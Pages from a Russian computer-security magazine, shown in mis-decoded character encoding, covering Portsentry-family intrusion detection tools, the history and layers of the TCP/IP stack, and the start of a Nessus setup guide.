ôèðìó íà êîðíþ ñêóïèëà êîìïàíèÿ
Cisco Systems? è ññûëêà
www.psionic.com âåäåò íà ñàéò
Cisco. Òåì íå ìåíåå, â Ñåòè åñòü àð-
õèâû, íà êîòîðûõ ÷òî-òî åùå îñòà-
ëîñü. Ïîèñê ïî ñëîâó

portsentry.tar.gz (íàïðèìåð, íà ñàé-
òå filesearch.ru) ìîæåò äàòü òåáå
íåêèé ñïèñîê.

Logsentry ÿâëÿåòñÿ óòèëèòîé
êîíòðîëÿ öåëîñòíîñòè ñèñòåìíûõ
æóðíàëîâ. Íè÷åãî ñëîæíîãî - ñëå-
äèò çà òåì, ÷òîáû â íèõ áåç ðàçðå-
øåíèÿ íèêòî íå ëåç.

Íàçíà÷åíèå ïðîãðàììû hostsentry
äëÿ ìåíÿ îñòàëîñü çàãàäêîé, íà
ïðàêòèêå ÿ åå òàê è íå ïðèìåíèë.
Ãîðàçäî èíòåðåñíåå âîçèòüñÿ ñ

portsentry. Îñíîâíàÿ çàäà÷à ýòîé
ïðîãè - îòñëåäèòü ñîåäèíåíèå ê îõ-
ðàíÿåìîìó ïîðòó, âûÿâèòü òèï ñîå-
äèíåíèÿ è ïðèíÿòü ìåðû ïî áëîêè-
ðîâêå àòàêóþùåãî.

Ïðîãðàììà ñóùåñòâóåò â äâóõ
âåðñèÿõ: 1.1 è 2.0beta. Ïîñëå ðàñïà-
êîâêè è ñáîðêè ïàêåòà (èíñòðóêöèÿ
åñòü â ôàéëàõ INSTALL è README)
ñëåäóåò íàñòðîèòü ñòîðîæà. Â ôàé-
ëå portsentry.conf óêàçûâàþòñÿ íî-
ìåðà ïîðòîâ, êîòîðûå íåîáõîäèìî
îõðàíÿòü ïî òèïàì ïàêåòà (tcp,
udp), ñïîñîáû ðåàãèðîâàíèÿ íà àòà-
êó (ìîæíî ïðèáèòü ìàðøðóò êîìàí-
äîé route èëè ïðèìåíèòü ïàêåòíûé
ôèëüòð ipchains/iptables). Ïðàêòè-
÷åñêèé ïðèìåð åñòü íà ñàéòå
http://ruwa.te.ru. Â ôàéëå portsen-
try.ingore óêàçûâàþòñÿ ñåòè è óçëû,
êîòîðûå íå ÿâëÿþòñÿ àòàêóþùèìè.
Èñòîðèÿ àòàê õðàíèòñÿ â ôàéëàõ
portsentry.history è
portsentry.blocked.

Âåðñèÿ 1.1 (1.0) è 2.0 îòëè÷àþòñÿ
íåìíîãî. Âåðñèþ 1.0(1) íóæíî çàïóñ-
êàòü äâà ðàçà: îòäåëüíî äëÿ tcp è
îòäåëüíî äëÿ udp. Âî âòîðîé âåð-
ñèè â êîíôèã äîáàâëåíà âîçìîæ-
íîñòü óêàçàòü àäðåñ êîíòðîëèðóå-
ìîãî èíòåðôåéñà, à òàêæå ñîâìå-
ùåí ïðîñìîòð tcp è udp. Â Ñåòè
ïîëíî ñòàòåé ïî ðàáîòå ñ portsen-
try. Ïîèñêîâèê òåáå â çóáû.

Ó äàííîé IDS åñòü òåîðåòè÷åñêèé
íåäîñòàòîê. Âîçìîæíîñòü èñïîëü-
çîâàòü íåñòàíäàðòíûå ïàðàìåòðû
ñîåäèíåíèÿ ñ ðàçðåøåííûì ïîð-
òîì. Òàê âîçíèêàåò âîçìîæíîñòü, ê
ïðèìåðó, èñïîëüçîâàòü http-òóííå-
ëèðîâàíèÿ äëÿ ïåðåäà÷è íåëåãàëü-
íîãî òðàôèêà. Snort â ýòîì îòíîøå-
íèè ãèá÷å çà ñ÷åò íàñòðàèâàåìûõ
ïðàâèë îòëîâà ïàêåòîâ.

Òåïåðü òû ìíîãîå çíàåøü î òîì,
÷òî òåáÿ ïîäñòåðåãàåò. È åùå... IDS
ïðàêòè÷åñêè íå îáíàðóæèâàþòñÿ.
Ïî êðàéíåé ìåðå ñêàíåðàìè ïîð-
òîâ. Ëèøü êîñâåííûì ïîäòâåðæäå-
íèåì ìîæåò ñëóæèòü íåäîñòóïíîñòü
óçëà, êîòîðûé çà ñåêóíäó äî ñêàíè-
ðîâàíèÿ áûë äîñòóïåí.
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Ó IDS åñòü òåî-
ðåòè÷åñêèé íå-
äîñòàòîê. Âîç-
ìîæíîñòü èñ-

ïîëüçîâàòü íåñ-
òàíäàðòíûå ïà-
ðàìåòðû ñîåäè-
íåíèÿ ñ ðàçðå-

øåííûì ïîðòîì.
Òàê âîçíèêàåò

âîçìîæíîñòü, ê
ïðèìåðó, èñ-
ïîëüçîâàòü

http-òóííåëèðî-
âàíèÿ äëÿ ïåðå-
äà÷è íåëåãàëü-

íîãî òðàôèêà

Ëîã. Òèïà, íàñ ïðîñêàíèëè

Íåêîòîðûå IDS èíòåãðèðóþòñÿ â ñèñòåìó
êàê ìîäóëü ÿäðà è æåñòêî êîíòðîëèðóþò

àòàêè åùå íà ÿäåðíîì óðîâíå.



"Îøèáêà â ñòåêå ïîçâîëÿåò ïðîâåñòè ýòó àòàêó...", "Ýêñïëîèò îñíîâàí íà îøèáêå â
ðåàëèçàöèè ñòåêà..." - ÷èòàë òàêîå? Íàâåðíÿêà, äàæå â ýòîì íîìåðå åñòü ïîäîáíûå
ôðàçû :). À ÷òî æå ýòî òàêîå, ñòåê TCP/IP, è êàêèå â íåì ìîãóò áûòü îøèáêè? È
ïî÷åìó îäíè ÎÑè ðàáîòàþò â ñåòè áûñòðåå äðóãèõ? À ïî÷åìó âñå íå ëþáÿò ñòåê â
âèíäàõ ;)? Ïîïðîáóåì ðàçîáðàòüñÿ...

òåê... ëè÷íî ìíå êà-
æåòñÿ íå î÷åíü êîððå-
êòíûì òàêîå íàçâà-
íèå. Êàê ó ñòóäåíòà-

ïðîãðàììèñòà, ó ìåíÿ ñòåê â ïåð-
âóþ î÷åðåäü àññîöèèðóåòñÿ ñî ñïî-
ñîáîì îðãàíèçàöèè ïàìÿòè. Òàê ÷òî
íå ïóòàé ýòè äâà ïîíÿòèÿ.

ÈÑÒÎÐÈß
Èòàê, ÷òî æå òàêîå ñòåê TCP/IP? ×åò-
êîãî îïðåäåëåíèÿ íåò, â ëèòåðàòóðå
ïîä ñòåêîì ïîíèìàþòñÿ äâå âåùè.
Âî-ïåðâûõ, ýòî âñå ïðîòîêîëû ñåìåé-
ñòâà TCP/IP. À âî-âòîðûõ, ýòî íåêîòî-
ðûé íàáîð ïðîãðàìì, áèáëèîòåê, ìî-
äóëåé ÿäðà è ò.ä. (ïî-ðàçíîìó áûâà-
åò), èíòåãðèðîâàííûõ â ÎÑ (õîòÿ áû-
âàþò è ñàìîñòîÿòåëüíûå êîììåð÷åñ-
êèå ñòåêè) è îòâå÷àþùèõ çà ñîçäà-
íèå, îòïðàâêó, ïðèåì è îáðàáîòêó èí-
ôîðìàöèè ïî ñòàíäàðòàì TCP/IP. Êàê
è ìíîãèå äðóãèå ñåòåâûå ñòàíäàðòû,
ñòåê TCP/IP áûë ðàçðàáîòàí âîåííû-
ìè, à òî÷íåå ARPA (Advance Research
Projects Agency) ïðè ìèíèñòåðñòâå
îáîðîíû ÑØÀ äëÿ ñâîåãî ãëàâíîãî
ïðîåêòà - ñåòè ARPAnet. Ïåðâàÿ ðåà-
ëèçàöèÿ ñòåêà ïîÿâèëàñü â 1980 ãî-
äó. ×òîáû ïîäòîëêíóòü èññëåäîâà-
òåëüñêèå èíñòèòóòû ê èñïîëüçîâàíèþ
íîâûõ ïðîòîêîëîâ, àãåíòñòâî ðàñïðî-
ñòðàíÿåò èõ ðåàëèçàöèþ ïî î÷åíü
äîñòóïíûì öåíàì è çàêëþ÷àåò äîãî-
âîð ñ èíñòèòóòîì Áåðêëè íà âíåäðå-
íèå ñòåêà â èõ ïîïóëÿðíóþ BSD Unix.
Ðåàëèçàöèÿ ñòåêà ïîëó÷èëàñü âåñü-
ìà óäà÷íîé. Îíà áûñòðî ïðèîáðåòàåò
ïîïóëÿðíîñòü áëàãîäàðÿ ñõîæåñòè
íîâûõ ïðîãðàììíûõ ñðåäñòâ TCP/IP ñ
êëàññè÷åñêèìè ñðåäñòâàìè Unix. Êðî-
ìå òîãî, ó÷åíûå èç Áåðêëè ââîäÿò â
ñòåê òàêîå âàæíîå ïîíÿòèå, êàê ïîðò
è ñîêåò, ÷òî ïîçâîëèëî àêòèâíî èñ-

ïîëüçîâàòü ïðîòîêîëû TCP/IP â ïðè-
ëîæåíèÿõ. ×èñëî êîìïüþòåðîâ, ïîäê-
ëþ÷åííûõ ê ñåòè, ðàñòåò. Äåñÿòêè
êîìïàíèé ïûòàþòñÿ óëó÷øèòü ñòåê,
âíåñòè ñâîè èçìåíåíèÿ. ×òîáû äåð-
æàòü ñèòóàöèþ ïîä êîíòðîëåì, ïî÷òè

÷åðåç äåñÿòü ëåò ïîñëå ñîçäàíèÿ
ïðîòîêîëîâ ó÷ðåæäàþòñÿ äâå èññëå-
äîâàòåëüñêèå ãðóïïû: IRTF, çàíèìàþ-
ùàÿñÿ ïåðñïåêòèâàìè ðàçâèòèÿ
Internet, è IETF, çàíèìàþùàÿñÿ ðàç-
ðàáîòêîé òåêóùèõ ñòàíäàðòîâ, íîâûõ
ïðîòîêîëîâ è óëó÷øåíèåì ñòàðûõ.
1991 ãîä, ïîÿâëÿþòñÿ ñàìûå ïåðâûå
âåðñèè Linux. Ðåàëèçàöèÿ ñòåêà áå-
ðåòñÿ èç óæå ïðîâåðåííîé âðåìåíåì
BSD, õîòÿ â äàëüíåéøåì ñòåê áûë
ñåðüåçíî èçìåíåí. 1993 ãîä -
Microsoft, óæå ïîðàáîòàâøàÿ íà OS/2
è ñîáñòâåííîé âåðñèåé Unix (äà, áûëî
è òàêîå ÷óäî ïîä íàçâàíèåì Xenix),
ñîáèðàåòñÿ ñîçäàâàòü íîâóþ âåðñèþ
Windows, îäíàêî "íå âèäèò íåîáõîäè-
ìîñòè â ðåàëèçàöèè TCP/IP". 1995 ãîä
- Windows95 ñî âñòðîåííûì ñòåêîì
TCP/IP :). Ñàìàÿ ïîïóëÿðíàÿ âåðñèÿ î
ïðîèñõîæäåíèè ýòîãî ÷óäà ïðîèçâî-
äèòåëüíîñòè - "çàèìñòâîâàíèå" âñå
òîãî æå ñòåêà îò Áåðêëè :). Ýòîò æå
ñòåê áûë âíåäðåí â Windows NT. Êàê

îêàçàëîñü, àäàïòèðîâàëè îíè åãî
ïëîõî :). 1997 ãîä - ñòîëüêî ðàç
www.microsoft.com íå âèñåë è áîëü-
øå, íàâåðíîå, âèñåòü íå áóäåò. Ñëîâî
Nuke áûñòðî âîøëî â îáèõîä õàêåðîâ
:). Íåñëîæíûå â ðåàëèçàöèè è âåñüìà
ýôôåêòèâíûå, ýêñïëîèòû ýòîãî âèäà
íàâîäíèëè ñåòü. Âïðî÷åì, ëåòåëè íå
òîëüêî âèíäû. Íåêîòîðûì èçâåñòíûì
àòàêàì (òîò æå Land) áûëè ïîäâåðæå-
íû è *nix ñèñòåìû. Íó à ÷òî âû õîòè-
òå, ñòåê-òî â îñíîâå îäèíàêîâûé :).
1998 ãîä - ÷åòûðå SP äëÿ WinNT, åùå
êó÷à ìåëêèõ îáíîâëåíèé è Windows
98 ñ "íàäåæíûì ñòåêîì". Àãà, ïîâå-
ðèëè. Îäèí áàã ñ IGMP ÷åãî ñòîèò. À
åùå è îøèáêè â ìàðøðóòèçàöèè, íåï-
ðàâèëüíàÿ îáðàáîòêà ôðàãìåíòèðî-
âàííûõ ïàêåòîâ, îøèáêè ñ NetBIOS
(ýòî, ïîõîæå, ôàìèëüíàÿ ÷åðòà :))... À
ïîìíèøü, ñêîëüêî áûëî â Èíåòå ïðîã
ïî îïòèìèçàöèè ñòåêà (òðîÿíû, ðàñï-
ðîñòðàíÿâøèåñÿ ïîä òàêèìè ëîçóíãà-
ìè, îïóñòèì :)), êîòîðûå â îñíîâíîì
èçìåíÿëè MTU (òî÷íåå MaxMTU, max-
imum maximum transmission unit â
òåðìèíîëîãèè MS :))? Â ñëåäóþùåé
îïåðàöèîííîé ñèñòåìå,

Windows 2000, ñòåê áûë íîâûé (ïî÷è-
òàòü îá ýòîì íåçåìíîì òâîðåíèè
ìîæíî íà www.microsoft.com/
technet/treeview/default.asp?url=
/technet/itsolutions/network/deploy
/depovg/tcpip2k.asp). Ê ÷åñòè
Microsoft, ñòîèò çàìåòèòü, ÷òî íîâûé
ñòåê ïîëó÷èëñÿ âåñüìà íàäåæíûì è
áûñòðûì è ïðàêòè÷åñêè ïîëíîñòüþ
ñîîòâåòñòâóþùèì ñòàíäàðòàì. Íàêî-
íåö-òî ïîÿâèëèñü âñòðîåííûå ñåòå-
âûå äèàãíîñòè÷åñêèå óòèëèòû, ê êîòî-
ðûì óæå äàâíî ïðèâûêëè ïîëüçîâà-
òåëè ïðàâèëüíûõ îñåé :). Õîòÿ è â íî-
âîì ñòåêå ïåðèîäè÷åñêè íàõîäÿò óÿç-
âèìîñòè, ïðèâîäÿùèå ê DoS :), âñå æå
ïî êà÷åñòâó îí áëèçîê ê ðåàëèçàöèè
â ÿäðàõ Linux 2.4.*. È õîòÿ ëèíóêñîè-
äû íèêîãäà íå ïðèçíàþò ýòîãî è áó-
äóò ññûëàòüñÿ íà èññëåäîâàíèÿ âðî-
äå ñâåæåãî ìàéñêîãî îò êîíòîðû
Reasoning, êîòîðîå ñðàâíèâàåò êîëè-
÷åñòâî îøèáîê â êîäå ñòåêà Linux è
"íåêîòîðûõ êîììåð÷åñêèõ ñèñòåì".
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ÐÅÀËÈÇÀÖÈß ÑÒÅÊ ÏÐÎÒÎÊÎËÎÂ TCP/IP

Ïðî ðàçëè÷íûå
ïðîòîêîëû
ìîæíî ïî÷è-
òàòü íà
www.proto-
cols.com.
Ñòðàííî, äà? :)

Ñàéò IETF - çäåñü âñåãäà ìîæíî íàéòè

âñå RFC 

Ñàéò IRTF � à çäåñü ìîæíî ïî÷èòàòü ïðî èñ-

ñëåäîâàíèÿ â îáëàñòè ñåòåâûõ òåõíîëîãèé

Êàê è ìíîãèå äðóãèå ñåòåâûå ñòàíäàðòû,
ñòåê TCP/IP áûë ðàçðàáîòàí âîåííûìè
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Ìíå êàæåòñÿ, ÷òî ýòî ÷èñòûé PR: íó
êòî áóäåò äàâàòü èì êîä ñòåêà
Windows? À ïèñàòü, ÷òî ìû ñðàâíèëè
Linux è, ñêàæåì, Solaris, - ýòî áóäåò
èíòåðåñíî óæå êóäà ìåíüøåìó ÷èñëó
êîìïüþòåðùèêîâ. À ïîñêîëüêó äðó-
ãèõ îòêðûòûõ èññëåäîâàíèé íà ýòó òå-
ìó íåò, òî íåò è òåìû äëÿ ñïîðîâ :).

ÍÀÑÒÎßÙÅÅ
À ÷òî ïðåäñòàâëÿåò ñîáîé ñîâðåìåí-
íûé ñòàíäàðò íà ñòåê TCP/IP? Êàê èç-
âåñòíî, ñòåê ñîñòîèò èç ÷åòûðåõ
óðîâíåé (â îòëè÷èå îò ñåìèóðîâíå-
âîé ìîäåëè OSI): óðîâíÿ ïðèëîæå-
íèé, òðàíñïîðòíîãî, ñåòåâîãî è êà-
íàëüíîãî óðîâíåé. Íà êàæäîì óðîâ-
íå íàõîäÿòñÿ ñâîè ïðîòîêîëû. Èí-
ôîðìàöèÿ, êîòîðàÿ ïåðåäàåòñÿ ïî
ñåòè, ïðîõîäèò ïî âñåì óðîâíÿì ïðî-
òîêîëîâ, ñâåðõó âíèç. Íà êàæäîì
óðîâíå ñîîòâåòñòâóþùèé ïðîòîêîë
äîïèñûâàåò ñâîé çàãîëîâîê ê ïàêåòó
è ïåðåäàåò âíèç, äî êàíàëüíîãî
óðîâíÿ, íà êîòîðîì îêîí÷àòåëüíî
ñôîðìèðîâàííûé êàäð îòïðàâëÿåòñÿ
÷åðåç ñåòåâîé èíòåðôåéñ. Íàïðè-
ìåð, òàêàÿ ñõåìà: HTTP>TCP>IP>äðàé-
âåð ñåòåâîãî èíòåðôåéñà>ñåòü. Íà
êàíàëüíîì óðîâíå íàõîäèòñÿ âñåãî
îäèí âàæíûé ïðîòîêîë - ARP
(Address resolution protocol, RFC
826), êîòîðûé ïîçâîëÿåò îïðåäåëÿòü
MAC-àäðåñ ñåòåâûõ èíòåðôåéñîâ. Íà
ñåòåâîì óðîâíå ïðàâÿò áàë IP
(Internet protocol, RFC 791) è âñïîìî-
ãàòåëüíûå ïðîòîêîëû ìàðøðóòèçà-
öèè, ãëàâíûìè èç êîòîðûõ ÿâëÿþòñÿ
ICMP (Internet control message proto-
col, RFC 792) è IGMP (internet group
management protocol, RFC 2236).
Ïðîòîêîë IP ïîëó÷àåò è îòïðàâëÿåò
äàòàãðàììû îò îäíîãî IP-àäðåñà ê
äðóãîìó. Ïðè ýòîì ïðîòîêîë íå çàáî-

òèòñÿ î íàäåæíîñòè ïåðåäà÷è è íå
èìååò ìåõàíèçìà ïîäòâåðæäåíèÿ -
âñå ýòî åñòü óæå íà òðàíñïîðòíîì
óðîâíå. ICMP æå èñïîëüçóåòñÿ äëÿ
ïåðåäà÷è ñëóæåáíîé è óïðàâëÿþ-
ùåé èíôîðìàöèè, íàïðèìåð, î íå-
äîñòèæèìîñòè óçëà èëè ïåðåíàïðàâ-
ëåíèè ïàêåòîâ. À IGMP èñïîëüçóåòñÿ
äëÿ óïðàâëåíèÿ øèðîêîâåùàòåëü-
íûìè (multicast) ñîîáùåíèÿìè, ïîç-
âîëÿÿ óçëó ñîîáùàòü ìàðøðóòèçàòî-
ðàì î ñâîåé ïðèíàäëåæíîñòè ê ãðóï-
ïàì. Ñîâðåìåííûå ñòåêè ïîääåðæè-
âàþò òàêèå ðàñøèðåíèÿ IP, êàê CIDR
(Classless Internet Direct Routing,
ïðÿìàÿ áåñêëàññîâàÿ ìàðøðóòèçà-
öèÿ â Èíòåðíåò), ïåðåõîäíîå, íî óñ-
ïåøíîå ðåøåíèå äî ââîäà IPv6, è
IPsec, ïðîòîêîë øèôðîâàíèÿ íà ñå-
òåâîì óðîâíå. Íà òðàíñïîðòíîì

óðîâíå ó íàñ äâà ïðîòîêîëà: TCP è
UDP. UDP (User datagram protocol,
RFC768) - ýòî áîëåå ïðîñòîé ïðîòî-
êîë. Îí íå êîíòðîëèðóåò íàäåæíîñòü
ïåðåäà÷è äàííûõ è íå óñòàíàâëèâà-
åò ñîåäèíåíèå. Çàòî ðàáîòàåò áûñò-
ðåå è ãåíåðèðóåò òðàôèê ìåíüøå,
÷åì TCP. Ïðèìåíåíèå UDP îïðàâäàí-
íî, åñëè íóæíî ïåðåäàòü íåáîëüøèå,
íî ñðî÷íûå äàííûå (íàïðèìåð, DNS-
çàïðîñû), åñëè èìååòñÿ õîðîøèé êà-
íàë ñâÿçè (ïî÷òè âñå ëîêàëüíûå ÷à-
òû ðàáîòàþò íà UDP) èëè åñëè íà-
äåæíîñòü äîñòàâêè ãàðàíòèðóåòñÿ
äðóãèìè ñðåäñòâàìè (èãðîâûå ïðîòî-
êîëû â îñíîâíîì èñïîëüçóþò UDP).
Â îñòàëüíûõ ñëó÷àÿõ èñïîëüçóåòñÿ
TCP (Transport control protocol, RFC
793), êîòîðûé îáåñïå÷èâàåò íàäåæ-
íóþ äîñòàâêó ñîîáùåíèé. TCP óñòà-
íàâëèâàåò ñîåäèíåíèå, ïîñûëàÿ ñåã-
ìåíò ñ óñòàíîâëåííûì ôëàãîì SYN
(Synchronize sequence numbers) è
Initial Sequence Number (íà÷àëüíûé
íîìåð ïîñëåäîâàòåëüíîñòè) è ïîëó-
÷àÿ â îòâåò ñåãìåíò ñ ôëàãîì ACK
(Acknowledgment). Ýòî òàê íàçûâàå-
ìûé ìåõàíèçì "TCP handshake". Íà-
÷àëüíûé íîìåð ïîñëåäîâàòåëüíîñòè
íóæåí äëÿ íóìåðàöèè ñåãìåíòîâ â
óñòàíîâëåííîì ñîåäèíåíèè: îíè íó-
ìåðóþòñÿ ïî îïðåäåëåííîìó çàêîíó
(çàâèñèò îò ðåàëèçàöèè ñòåêà) è èñ-

ïîëüçóþòñÿ äëÿ êîíòðîëÿ ïðè ïîñ-
òóïëåíèè (÷òîáû íå ïðîïóñòèòü ñåã-
ìåíò). Êðîìå òîãî, äëÿ êàæäîãî ñåã-
ìåíòà ïîäñ÷èòûâàåòñÿ êîíòðîëüíàÿ
ñóììà, ÷òî ïîçâîëÿåò îáíàðóæèòü
åãî ïîâðåæäåíèå ïðè ïåðåäà÷å è
çàïðîñèòü íîâûé (ïî èçâåñòíîìó íî-
ìåðó ïîñëåäîâàòåëüíîñòè). Íó à óðî-
âåíü ïðèëîæåíèé - ýòî ìíîæåñòâî
ïðîòîêîëîâ âûñîêîãî óðîâíÿ: òóò è
HTTP, è FTP, POP3, SMTP, SNMP, SSL
è ìíîãèå äðóãèå. Òàêîâ ñîâðåìåííûé
ñòåê TCP/IP â îáùåì âèäå. Òîëüêî âîò
â òàêîì âèäå îí íå èìååò áóäóùåãî.

ÁÓÄÓÙÅÅ
À âñå ïîòîìó, ÷òî ïåðåä TCP/IP ñòî-
èò íåñêîëüêî ñåðüåçíûõ ïðîáëåì,
êîòîðûõ íå ïðåäâèäåëè åãî ñîçäà-
òåëè ñ ñàìîãî íà÷àëà. Ïåðâàÿ è ñà-

ìàÿ èçâåñòíàÿ ïðîáëåìà - ýòî íå-
äîñòàòîê IP-àäðåñîâ. Åñëè ïàðó ëåò
íàçàä âñå äóìàëè, ÷òî ñ èñïîëüçî-
âàíèåì CIDR ìîæíî áóäåò ïðîäåð-
æàòüñÿ äîñòàòî÷íî äîëãî, òî ñåé÷àñ
â Àçèè óæå ñòîëêíóëèñü ñ íåõâàò-
êîé IP-àäðåñîâ (êèòàéöû íàñòóïàþò
íà Èíòåðíåò :)). Âòîðàÿ - ýòî íåäîñ-
òàòî÷íîñòü ñêîðîñòè TCP/IP äëÿ òà-
êèõ ïðîåêòîâ, êàê Internet 2, è äëÿ
ïåðåäà÷è òàêèõ äàííûõ, êàê ãîëîñ,
ìóçûêà, âèäåî. Äà, â çàãîëîâêå IP
äàòàãðàìì åñòü ïîëå Type of service,
êîòîðîå äîëæíî îïðåäåëÿòü ïðèî-
ðèòåò ïàêåòîâ. Òîëüêî îíî èãíîðè-
ðóåòñÿ âî ìíîãèõ ðåàëèçàöèÿõ ñòå-
êà. Äà, åñòü ñëóæáû âðîäå Quality
of Service, íî ïîäíèìèòå ðóêè, êòî
íå îòðóáèë åå ó ñåáÿ â Win2k/XP,
óçíàâ, ÷òî îíà ðåçåðâèðóåò ÷åò-
âåðòü òðàôèêà äëÿ ñåáÿ. Íó à
òðåòüÿ è ñàìàÿ âàæíàÿ - ìîäåëü áå-
çîïàñíîñòè TCP/IP íå îòâå÷àåò ñîâ-
ðåìåííûì òðåáîâàíèÿì. Â ïðîòîêî-
ëå IP íåò àóòåíòèôèêàöèè ïàêåòîâ -
ñëèøêîì ëåãêî ïîäìåíèòü IP àäðå-
ñàòà èëè ïîëó÷àòåëÿ, à íà ýòîì îñ-
íîâàíî îãðîìíîå êîëè÷åñòâî àòàê.
Íåò è âñòðîåííûõ ñðåäñòâ øèôðî-
âàíèÿ (IPsec âñå æå íå ñëèøêîì
óäîáíàÿ è ïîïóëÿðíàÿ âåùü). Âñå
ýòè ïðîáëåìû ðåøàþòñÿ ïåðåõîäîì
íà IPv6 - íîâóþ ñïåöèôèêàöèþ IP
ïðîòîêîëà. Ýòîò ïåðåõîä ãîòîâèòñÿ
óæå ïî÷òè äåñÿòü ëåò. Â íîâîé ñïå-
öèôèêàöèè åñòü è âñòðîåííûå â
ïðîòîêîë ñðåäñòâà øèôðîâàíèÿ, è
ðàçäåëåíèå ïðèîðèòåòîâ ïàêåòîâ, è
íîâûå 128-ðàçðÿäíûå àäðåñà. Ê òî-
ìó æå ðàñïðåäåëåíèå àäðåñîâ òå-
ïåðü ïîéäåò öåíòðàëèçîâàííî è ïî
îïðåäåëåííûì ïðèíöèïàì, à íå òàê,
êàê â íà÷àëå èñòîðèè Èíòåðíåòà.
Òàê ÷òî IPv6 íåñåò äëÿ ñåòåâîãî ñî-
îáùåñòâà òîëüêî ïîëîæèòåëüíûå
âåùè. Ïðàâäà, õàêàòü ñòàíåò ñëîæ-
íåå :). Íî íå áîéñÿ, íîâûé ïðîòîêîë
ïîÿâèòñÿ íå ñðàçó è íå âåçäå. È
÷òî-òî ìíå ïîäñêàçûâàåò, ÷òî ïåð-
âûå âåðñèè íîâûõ ñòåêîâ áóäóò íå
ìåíåå áîãàòûìè íà áàãè, ÷åì ïàìÿò-
íûé ñòåê Win95 :)
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Î÷åíü íåïëîõîé
ó÷åáíèê ïî

TCP/IP ìîæíî
íàéòè íà

athena.vvsu.ru/
net/book/
index.html

Îá IPv6 è åãî
âíåäðåíèè â

Ðîññèè ìîæíî
ïî÷èòàòü íà

www.ip6.msu.ru

Ïðåäñòàâëåíèå èíôîðìàöèè íà ðàçëè÷íûõ

óðîâíÿõ TCP/IP

Ïðîòîêîëû TCP/IP â ìîäåëè OSI

Ñòåê... ëè÷íî ìíå êàæåòñÿ íå î÷åíü
êîððåêòíûì òàêîå íàçâàíèå. 

Êàê ó ñòóäåíòà-ïðîãðàììèñòà, ó ìåíÿ ñòåê 
â ïåðâóþ î÷åðåäü àññîöèèðóåòñÿ 
ñî ñïîñîáîì îðãàíèçàöèè ïàìÿòè



ýòîò ðàç ÿ òåáå íàìåðåí
ïîäðîáíî ðàññêàçàòü ïðî
îäíó èç ñàìûõ ëó÷øèõ

ïðîãðàìì ïðîâåðêè êîìïëåêñíîé
áåçîïàñíîñòè ñåòåé è óçëîâ ïîä Linux.
Íàçûâàåòñÿ ýòà ïðîãðàììà Nessus.

×ÒÎ ÝÒÎ ÇÀ ÄÅÂÎ×ÊÀ?
Nessus (http://www.nessus.org) ñîñòîèò èç
äâóõ ÷àñòåé: ñåðâåðíîé è êëèåíòñêîé.
Ñåðâåðíàÿ ÷àñòü (nessusd) ïðåäíàçíà÷åíà
äëÿ ïðîâåäåíèÿ òåñòîâûõ àòàê è ñáîðà
èíôîðìàöèè â îäíó êó÷ó. Â òî æå âðåìÿ
êëèåíò ÿâëÿåòñÿ ïðîñòûì èíòåðôåéñîì
ïîëüçîâàòåëÿ äëÿ îòîáðàæåíèÿ
ñîáðàííîé èíôîðìàöèè è ïðåäîñòàâëåíèÿ
åå â óäîáîâàðèìîì âèäå. Íà ñåãîäíÿøíèé
äåíü ïðîãðàììà íàïèñàíà òàê, ÷òî
ñåðâåðíàÿ ÷àñòü ìîæåò ðàáîòàòü íà
íåñêîëüêèõ îïåðàöèîííûõ ñèñòåìàõ
ñòàíäàðòà POSIX (ýòîò ñòàíäàðò
ïîääåðæèâàåòñÿ îïåðàöèîííûìè
ñèñòåìàìè Solaris, FreeBSD, GNU/Linux è
äðóãèìè), à âîò êëèåíòû åñòü êàê äëÿ
Linux ñ èñïîëüçîâàíèåì áèáëèîòåêè GTK+
(the Gimp ToolKit, ïîäðîáíîñòè ñìîòðåòü
òóò: http://www.gtk.org), òàê è äëÿ Win32.

ÏÎÑÒÀÂÈÌ Â ÏÎÇÓ
Ñ ÷åãî íà÷àòü? Íó, íàâåðíîå, ñ òîãî, ÷òî
ñêà÷àåì èñõîäíèêè ñ ñàéòà. Ïîòîì íàäî
ïîïûòàòüñÿ ñîáðàòü ñåðâåðíóþ è
êëèåíòñêóþ ÷àñòè. Â ìîåì äèñòðå ALT
Linux Master 2.2 Nessus âåðñèè 1.2.6 áûë â
êîìïëåêòå, ïîýòîìó ìíå íàïðÿãàòüñÿ íå
ïðèøëîñü. Íà ñàéòå åñòü ññûëêà íà
âåðñèþ 2.0, íî äëÿ åå ñáîðêè íóæíà
áèáëèîòåêà GTK 2.0 (è âñå, ÷òî îíà çà
ñîáîé ïîòÿíåò, à ïîòÿíåò îíà ìíîãî
âñÿêèõ øòóê). Òåáå æå, âîçìîæíî,
ïðèäåòñÿ ïðîéòè ÷åðåç îãîíü, âîäó è
ìåäíûå òðóáû ïðè ñáîðêå. Êðîìå
áèáëèîòåêè GTK+, òåáå ïîòðåáóåòñÿ
cêà÷àòü è óñòàíîâèòü äîïîëíèòåëüíî
ïàêåò OpenSSL (www.openssl.org). Ñáîðêà
è óñòàíîâêà OpenSSL ïðîáëåì âûçâàòü íå
äîëæíû. Îí íóæåí äëÿ ðàáîòû ñèñòåìû
ðàçãðàíè÷åíèÿ äîñòóïà ê ñåðâåðó nessusd.

Êîíå÷íî, åñëè òâîé äèñòðèáóòèâ íà áàçå
rpm, òî óñòàíîâêà íåîáõîäèìûõ ïàêåòîâ
ïðîãðàìì è áèáëèîòåê ñóùåñòâåííî
îáëåã÷àåòñÿ. Ïî êðàéíåé ìåðå, òû áóäåøü
â êóðñå òîãî, ÷òî òåáå åùå ïðåäñòîèò
äîóñòàíîâèòü. Õîòü êîìïèëèðîâàòü

ñàìîìó íå ïðèäåòñÿ. Â ñëó÷àå
äèñòðèáóòèâà Debian - òåáå ïðîñòî
ïîâåçëî (apt-get âåñüìà óäîáíàÿ øòóêà).

Nessus - ïðîãðàììà êëèåíò-ñåðâåðíàÿ,
ïîýòîìó âåñüìà íåîáõîäèìî
ðàçãðàíè÷èâàòü äîñòóï ê äåìîíó nessusd.
Â ïðèíöèïå òåáå äîëæíî áûòü ïîôèã.
Îäíàêî äàííûé èíñòðóìåíò
ðàçðàáàòûâàëñÿ äëÿ àäìèíèñòðàòîðîâ, à
èì î÷åíü âàæíî, ÷òîáû äîñòóï ê òàêîãî
ðîäà ïðîãðàììàì áûë ñòðîãî îãðàíè÷åí.
Äëÿ ýòèõ öåëåé èñïîëüçóþòñÿ
ñåðòèôèêàöèÿ è ïàðîëüíûé äîñòóï.
Ñåðòèôèêàöèþ êàê ðàç è îáåñïå÷èâàåò
OpenSSL. Ïîñëå êîìïèëÿöèè è óñòàíîâêè
íóæíî:

